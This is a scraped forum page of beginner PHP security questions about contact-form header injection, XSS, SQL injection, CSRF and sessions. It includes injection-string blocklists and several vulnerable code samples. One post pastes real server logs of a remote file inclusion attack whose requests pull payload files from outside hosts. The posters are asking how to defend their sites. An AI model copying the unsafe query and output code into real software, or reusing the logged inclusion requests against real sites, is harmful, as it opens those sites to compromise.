PHP - * Form Manipulation - A Security Question
Hi all,
I have heard stories that hackers/viruses or basically something that you don't want uploaded to a server through a website form have been able to type some sort of code in to a html form field to access information. I know how to control the length of fields, how to validate that an email address is in the correct format etc. - but when it comes to having a textfield for the user to add up to 2000 characters of their own words, how can I protect from malicious code being inserted? The textfield is located inside the user area but anyone can join, so anyone ultimately can enter code! Thanks for the help. Similar TutorialsHi Guys I have built a simple form, which has text fields Name, Telephone Number, Best Time to Call and E-mail. For security purposes, I am testing each against the function shown below which looks for dangerous code snippets, in an effort to protect against email header injection attacks. When it comes to the E-mail field, I am not actually testing whether a valid e-mail address has been entered, as it is the telephone number which is essential, not the e-mail. My question is, do you think this is a security weakness? Many thanks Code: [Select] //http://www.tonyspencer.com/2005/12/15/email-injection-exploit-through-a-php-contact-form/ //preg_match string to match goes within forward slashes, i.e. /str/, and i at the end makes it case insensitive function containsInjectionAttempt($input) { if (preg_match("/\r/i", $input) || preg_match("/\n/i", $input) || preg_match("/%0a/i", $input) || preg_match("/%0d/i", $input) || preg_match("/Content-Type:/i", $input) || preg_match("/<script>/i", $input) || preg_match("/bcc:/i", $input) || preg_match("/to:/i", $input) || preg_match("/cc:/i", $input)) { return true; } else { return false; } } Hi everyone! I have a question that might sound silly... I have stored in my database a url to a pic and some other data. I am unsure if when I retreive data from my database I need some sort of protection. I usually sanitize and prevent SQl injections when I code forms but I am not sure if I have to do the same when I get data from the database. Thanks for your help. Veronica Hi, My ISP doesn't allow direct access to mysql Server so I created a bridge and stored the PHP code in the main web folder (https://www.mydomain.com/post.php). The bridge works fine and is used mainly for my IOT projects. In the same web folder, is located the conn.php code containing the server's credentials. The question is, how safe is the PHP code at that location? I can create a subfolder but not sure if it matters as far as security is concerned. TIA Hey people, I was going over an old script of mine the other day and I ran I web vulnerability scanner on it to see how secure it was and I got an XSS warning, now this puzzles me because I am not entirely sure how this affects the script and what can/can't be done, this script is old so I will paste the relevant bits in here, it was playing with the $page variable. What damage could you do and how would you remedy the problem? Code: [Select] if(isset($_GET['page'])) { if($_GET['page'] > $numpages) { $page = 1; } else { $page = $_GET['page']; } } else { $page = 1; } echo ('<strong style="margin-top: 4px; margin-left: 3px;">Page ' . $page . ' of ' . $numpages . '</strong></p>'); By putting a non-number in there like hello.php?page=Hello, it simply output the word hello so I am not fully sure what the security implications are and how insecure it really is. Might sound like a dumb question but it's been nagging at me. Thanks for reading! I have a business social network site on hosting server. I am wondering if sessions are enough secure. ini_set('session.use_only_cookies', 1); //this prevent Session Fixation? session_start(); if($_SESSION['loggedIn'] && $_SESSION['userIP']==$_SERVER["REMOTE_ADDR"]) // extra security //user is logged in, assign all data to this profile from session else //user is not logged in, no data are assigned Would you consider that as enough secure? HI all, I have a book with some nice examples, but often i wonder if they are that secure for displaying and using outside the production area. One of them is this. A form is created by using a while loop that gets data(email addresses) from a database and shows them with check boxes. after that someone can select the e-mailaddress they don't like and delete them from the database. here is some code: <?php //.... $result = mysqli_query($dbc,$query); while ($row = mysqli_fetch_array($result)){ echo '<input type="checkbox" value"'.$row['id'].'"name="todelete[]"/>'; echo $row['firstname']; } //.........deleting part if (isset($_POST['submit'])){ foreach($_POST['todelete'] as $delete_id){ $query = "DELETE FROM email_list WHERE ID = $delete_id"; mysqli_query ($dbc, $query) or die ('error querying databse'); } } //.... ?> I have two questions: -> is this a smart way of deleting stuff? since you are going to use multiple queries instead of 1 in the for each loop. -> besides not using mysqli_real_escape_string, isn't this application allowing someone to alter the POST-array (todelete) to any value he likes? At least that's what i think can happen. If anyone knows a nice way to do this more secure , I would love to here it, because i don't really trust the html array created. Thanks in advance! Apologies for the lame subject title - I don't know what to call this thread. Last year, before I'd ever opened a book on php, my site was hacked. I was using a third party e-commerce script 'Cart Keeper' (since replaced). Somehow, the hackers planted some files on my server that looked like official bank pages (I'm sure you've all seen the sort of thing). Here are some log files sent by my host at that time... Quote "GET //ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt??? HTTP/1.1" 200 311 "-" "libwww-perl/5.805" www.example.com 89.38.128.43 - - [19/Jun/2009:11:58:48 +0100] "GET //ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt??? HTTP/1.1" 200 311 "-" "libwww-perl/5.65" www.example.com 89.38.128.43 - - [19/Jun/2009:11:58:49 +0100] "GET //ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt??? HTTP/1.1" 200 311 "-" "libwww-perl/5.65" www.example.com 89.38.128.43 - - [19/Jun/2009:11:59:24 +0100] "GET /arts//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt??? HTTP/1.1" 302 313 "-" "libwww-perl/5.65" www.example.com 66.249.134.74 - - [19/Jun/2009:12:01:26 +0100] "GET //ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt??? HTTP/1.1" 200 311 "-" "libwww-perl/5.805" www.example.com 66.249.134.74 - - [19/Jun/2009:12:01:28 +0100] "GET //ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt??? HTTP/1.1" 200 311 "-" "libwww-perl/5.805" www.example.com 66.249.134.74 - - [19/Jun/2009:12:01:32 +0100] "GET /ckshop.php?category=21//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt??? HTTP/1.1" 200 42 "-" "libwww-perl/5.805" www.example.com 89.38.128.43 - - [19/Jun/2009:12:01:47 +0100] "GET /ckshop.php//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt??? HTTP/1.1" 200 311 "-" "libwww-perl/5.65" www.example.com 89.38.128.43 - - [19/Jun/2009:12:01:48 +0100] "GET /ckshop.php//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt??? HTTP/1.1" 200 311 "-" "libwww-perl/5.65" www.example.com 89.38.128.43 - - [19/Jun/2009:12:01:49 +0100] "GET /ckshop.php?category=21//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt??? HTTP/1.1" 200 42 "-" "libwww-perl/5.65" www.example.com 89.38.128.43 - - [19/Jun/2009:11:58:52 +0100] "GET //ckshop.php?incdir=http://racrew.us/ec.txt?? HTTP/1.1" 200 357 "-" "libwww-perl/5.65" and here is what they wrote to me at the time... Quote The majority of these files where then caught by our egress firewall as they had completed as the file in question had allowed the http user to call a shell and use a variety of code (wget lwp et al) to call in external toolkits. This attack was mostly mechanised, however was changing so it is my belief that the perpetrator was reconfiguring the attack as he went as failures where seen. Please check your site code for possible updates, security updates, and ensure that no files have been changed that should not have been. Please confirm that you have read this mail and are aware of the implications / taking action. Can someone identify the name of this type of attack? ...and possibly a tutorial on securing against this form of attack? As I am learning php, I would like to make sure it doesn't happen again. Many thanks for your help Im making a map atm which will have tokens"not sure what you call them" in the link like map.php?id=token Well I dont want a 3rd party coming along in the future and making their own map using my y and x cords. So I was thinking maybe the best way around this is to use a encryption in the link? so encrypting the x and y cords in the link. Anyone have any ideas on this. Also I was wondering is it impossible for php to know when somone clicks a link? I was googling around and it doesnt seem like you cant simply use a $_POST for a link Hello, I have coded a contact form in PHP and I want to know, if according to you, it is secure! I am new in PHP, so I want some feedback from you. Moreover, I have also two problems based on the contact form. It is a bit complicated to explain, thus, I will break each of my problem one by one. FIRST:The first thing I want to know, is if my contact form secure according to you: The HTML with the PHP codes: Code: [Select] <?php if ($_SERVER['REQUEST_METHOD'] == 'POST') { //Assigning variables to elements $first = htmlentities($_POST['first']); $last = htmlentities($_POST['last']); $sub = htmlentities($_POST['subject']); $email = htmlentities($_POST['email']); $web = htmlentities($_POST['website']); $heard = htmlentities($_POST['heard']); $comment = htmlentities($_POST['message']); $cap = htmlentities($_POST['captcha']); //Declaring the email address with body content $to = 'alithebestofall2010@gmail.com'; $body ="First name: '$first' \n\n Last name: '$last' \n\n Subject: '$sub' \n\n Email: '$email' \n\n Website: '$web' \n\n Heard from us: '$heard' \n\n Comments: '$comment'"; //Validate the forms if (empty($first) || empty($last) || empty($sub) || empty($email) || empty($comment) || empty($cap)) { echo '<p class="error">Required fields must be filled!</p>'; header ('refresh= 3; url= index.php'); return false; } elseif (filter_var($first, FILTER_VALIDATE_INT) || filter_var($last, FILTER_VALIDATE_INT)) { echo '<p class="error">You cannot enter a number as either the first or last name!</p>'; return false; } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) { echo '<p class="error">Incorrect email address!</p>'; return false; } elseif (!($cap === '12')){ echo '<p class="error">Invalid captcha, try again!</p>'; return false; } else { mail ($to, $sub, $body); echo '<p class="success">Thank you for contacting us!</p>'; } } ?> <form action="<?php echo $_SERVER['PHP_SELF'];?>" method="post"> <p>Your first name: <span class="required">*</span></p> <p><input type="text" name="first" size="40" placeholder="Ex: Paul"/></p> <p>Your last name: <span class="required">*</span></p> <p><input type="text" name="last" size="40" placeholder="Ex: Smith"/></p> <p>Subject: <span class="required">*</span></p> <p><input type="text" name="subject" size="40" placeholder="Ex: Contact"/></p> <p>Your email address: <span class="required">*</span></p> <p><input type="text" name="email" size="40" placeholder="Ex: example@xxx.com"/></p> <p>Website:</p> <p><input type="text" name="website" size="40" placeholder="Ex: http//:google.com"/></p> <p>Where you have heard us?: <span class="required">*</span></p> <p><select name="heard"> <option>Internet</option> <option>Newspapers</option> <option>Friends or relatives</option> <option>Others</option> </select></p> <p>Your message: <span class="required">*</span></p> <p><textarea cols="75" rows="20" name="message"></textarea></p> <p>Are you human? Sum this please: 5 + 7 = ?: <span class="required">*</span></p></p> <p><input type="text" name="captcha" size="10"/></p> <p><input type="submit" name="submit" value="Send" class="button"/> <input type="reset" value="Reset" class="button"/></p> </form> SECOND PROBLEM:If a user has made a mistake, he gets the error message so that he can correct! However, when a mistake in the form occurs, all the data the user has entered are disappeared! I want the data to keep appearing so that the user does not start over again to fill the form. THIRD: When the erro message is displayed to notify the user that he made a mistake when submitting the form, the message is displaying on the top of the page. I want it to appear below each respective field. How to do that? In JQuery it is simple, but in PHP, I am confusing! I have a php page that processes a form. How do I prevent someone from making their own form on their own domain and then saying <form metod=post action = "www.hackerdomain.com/bad.php"> and then passing their own variables? Do I set up a $session variable on my form page and assign it to $_SERVER["PHP_SELF"]? I have a login system that uses a flat file database. The flat file is in a directory outside the public_html. My questions; 1- Is is still possible to hack into that file? Currently I do not encrypt the passwords as I have been told that having the file outside the public_html makes the file unavailable to the public. This allows me the advantage of sending the Username and Password to the user in an email if they forget there password or username. Otherwise- I would have to set up a more complicated method to allow them to change their password to re-gain access to the site. I have an SSL on the site also so I am not worried about packet sniffing. Thanks I am trying to keep the user input clean with this script but can't figure out what is wrong with it. the error I am getting is Warning: preg_match() expects parameter 1 to be string, $bad_strings = array( "content-type:", "mime-version:", "multipart/mixed", "Content-Transfer-Encoding:", "bcc:", "cc:", "to:", ); if (preg_match($bad_strings, $first_name)) { die; Hello, all: I'm a newbie and I'm trying to understand the whole php security thing a bit better, and found this function that seems easy to implement, as well as easy to understand... my question is... Does this means I could use regular $_POST, $_GET, $_COOKIE, $_REQUEST variables without having to individually worry about escaping them every time I use them in queries... is this correct? or safe enough? see example below, along with how I'm using variable in a query... it seems to be working fine, as it does echo out the \ escape character when I test it, or when I try to inject it... Appreciate your input! Code: [Select] <?php $_POST=sanitize($_POST); $_GET=sanitize($_GET); $_COOKIE=sanitize($_COOKIE); $_REQUEST=sanitize($_REQUEST); function sanitize($input){ if(is_array($input)){ foreach($input as $k=>$i){ $output[$k]=sanitize($i); } } else{ if(get_magic_quotes_gpc()){ $input=stripslashes($input); } $output=mysql_real_escape_string($input); } return $output; } // mysql query then I could use be: $money = $_GET['money']; $result = mysql_query("SELECT * FROM countries WHERE currencies = '$money'"); ?> i want to make a form that has a name, subject, email and comment input box... this is all done and working. the thing i am having trouble with is making the comment box not allow links in it. i thought it would be something like: if("comments" == "<a href=''></a>"){ echo "You have Entered the Wrong Information"; }else{ Insert Record Code.. } the "comments" name is the name of the comment text box. is this anywhere near what it should be ? I'm using the following to clean up input from my contact form, but I got header injection attacked anyway. What am I doing wrong? $trail_section_mile = strip_tags(stripslashes($trail_section_mile)) //this is repeated for several other fields, then: $email_message .= "Trail Section Mile Markers: ".clean_string($trail_section_mile)."\n"; //this is repeated for several other fields, then: /* see isInjected function below */ function clean_string($string) { $bad = array("content-type","bcc:","to:","cc:","href","/n",""); return str_replace($bad,"",$string); } // send the mail I have a simple contact form I did a while ago for a small company. They emailed me saying they are getting bits of spam mail from the site occasionally and would like to get it stopped if possible. This is how my form looks: Code: [Select] <form method="post" action="mailer.php"> <div class="form_left"> <p>Name:<br> <input type="text" name="name" size="24" autofocus="true" placeholder="Type Here" required="true" /></p> </div> <div class="form_right"> <p>Email:<br> <input type="email" name="email" size="24" placeholder="Type Here" required="true" /></p> </div> <div class="form_left"> <p>Company Name:<br /> <input type="text" name="company" size="24" placeholder="Type Here" required="true" /></p> </div> <div class="form_right"> <p>Phone Number:<br /> <input type="text" name="phone" size="24" placeholder="Type Here" required="true" /></p> </div> <div class="form_left"> <p>Your Message:<br /> <textarea rows="6" name="message" cols="55" placeholder="Type Here" ></textarea></p> </div> <p class="submit"><input type="submit" value="Send Mail" name="submit" /></p> </form> Code: [Select] <?php if(isset($_POST['submit'])) { // $to = "mail@mydomain.com"; $to = "mail@mydomain.com"; $subject = "Web Enquiry"; $name = $_POST['name']; $email = $_POST['email']; $company = $_POST['company']; $phone = $_POST['phone']; $message = $_POST['message']; if (strlen(trim($message)) > 0) { $body = "From: $name \n\n Email: $email \n \n Company: $company \n\n Phone Number: $phone \n\n Message: $message"; if (mail($to, $subject, $body)) { echo "<h3>Thanks! Your email has been sent <br />We will answer your enquiry as soon as possible.</h3>"; } else { echo 'Cannot sent mail'; } } else { echo "<h3>Error! <br />Please ensure that all fields are filled out correctly in order to email us.</h3>"; } } ?> Any help or pointers as to how I could add in a little security would be appreciated. I know, csrf token is like a random string. Does every form need a csrf token? Does every form need to have a different csrf token or all forms have a same csrf token for one logged in user? When an user logged in, I set $_SESSION['key']=$useremail; is it ok to set email for a logged in session? Do I have to set or add another $_SESSION with csrf token? How does csrf token add security for form submission? After form submission, what would PHP do with the hidden input field or with the csrf token? I read ages ago (and checked to see if it's true, it was and given how it works, it must still be) the end user can alter the value of any form field, using Firebug or similar, before submitting it. Two things I've figured out today: 1) a form input doesn't need a value - doesn't even need the attribute - if you're only checking whether the POST var isset and the actual value isn't important 2) Although it appears not to matter in the example I'm working on now, if the script doesn't check what the value is, and potentially sanitise it, the user could submit the form with any value, true, false, malicious, idk... So my question is: is this one of the ways malicious bad things can happen and do I *have to* specify a value, not because the script won't work without it, it does, but because in the real world it opens a security door if I don't check for malicious script by saying "if value not as expected, script has to die". Having formulated the question properly and thought about it I can't imagine simply making a form, without obvious connections to anything important, could be a problem in the way I'm asking about but I asked it now so Edited by appobs, 03 July 2014 - 12:08 PM. I am building an application that creates a label for a manufacturing company... it finds an appropriate font size for given text, and then draws it and displays the image as a bmp(it is required to be a bmp). That is all fine and dandy and working correctly. The problem is that the label must have a depth of 2 bits for it to work correctly on their machine...I am using the following code, but cannot get a bit depth lower than 24. iMagick and GD are both available on the server. Code: [Select] $text = $_GET['text']; if (isset($text)) { $image = new Imagick(); $image->setResolution(71.5, 71.5); $image->newImage(160, 40, new ImagickPixel('black')); $draw = new ImagickDraw(); $draw->setFillColor('white'); $draw->setStrokeColor(new ImagickPixel('black')); $draw->rectangle(0, 0, 159, 39); $font_size = 25; $font_name = 'arial.ttf'; do { $font_size--; $bbox=imagettfbbox($font_size, 0, $font_name, stripcslashes($text)); $right_text = $bbox[2]; $left_text = $bbox[0]; $width_text = $right_text - $left_text; $height_text = abs($bbox[7] - $bbox[1]); } while ($font_size>9 && ($height_text>40 || $width_text>160)); if ($height_text>40 || $width_text>160 || $font_size<10) { echo 'The text given will not fit on the label.<br />'; } else { $draw->setFont($font_name); $draw->setFontSize($font_size); $draw->setFillColor('black'); $draw->setTextAntialias(false); $draw->setGravity (Imagick::GRAVITY_CENTER); $draw->annotation(0, 0, stripcslashes($text)); $image->drawImage($draw); $image->blackthresholdImage( "#999999" ); $image->whitethresholdImage( "#999999" ); $image->setImageType(1); $image->setImageFormat('bmp'); $image->writeImage("flavor_labels/".$text.".bmp"); echo '<img src="flavor_labels/'.$text.'.bmp" /><br /><p>Right click this image and click Save As or Save Image As. <br />Enter in the desired label name and save it to the desired destination.</p>'; } } |